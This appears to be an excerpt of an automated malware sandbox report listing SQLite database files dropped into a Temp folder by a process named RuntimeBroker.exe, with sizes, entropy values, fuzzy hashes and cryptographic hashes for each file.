MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UMuv3DhKb6

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UnxhMWwBAf

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VXUixptp2h

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VYcLiyFj9I

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VgeK5xoTWT

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VzExpjfBaR

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WIHZOtdynR

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WOOfT0SO56

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WTJCl3vkX0

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WgjZJXNr94

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WiIfdSYJo8

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WxwZey1CqH

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XIKz5h0d1S

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XLKiSOIb9r

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Xp9jqkgbmd

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XqBYegkOR9

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YD0BCI9i7U

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YLKaXaemlx

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YuAu7xFcma

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YxiFzwSDAh

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZJtUtKGceP

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZaRVqtHgPR

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZrvfXFqFfB

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aZN0cZdlGX

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ao3U2JcQ2r

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aptb1P86Jm

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b8b3jFQdad

Download File

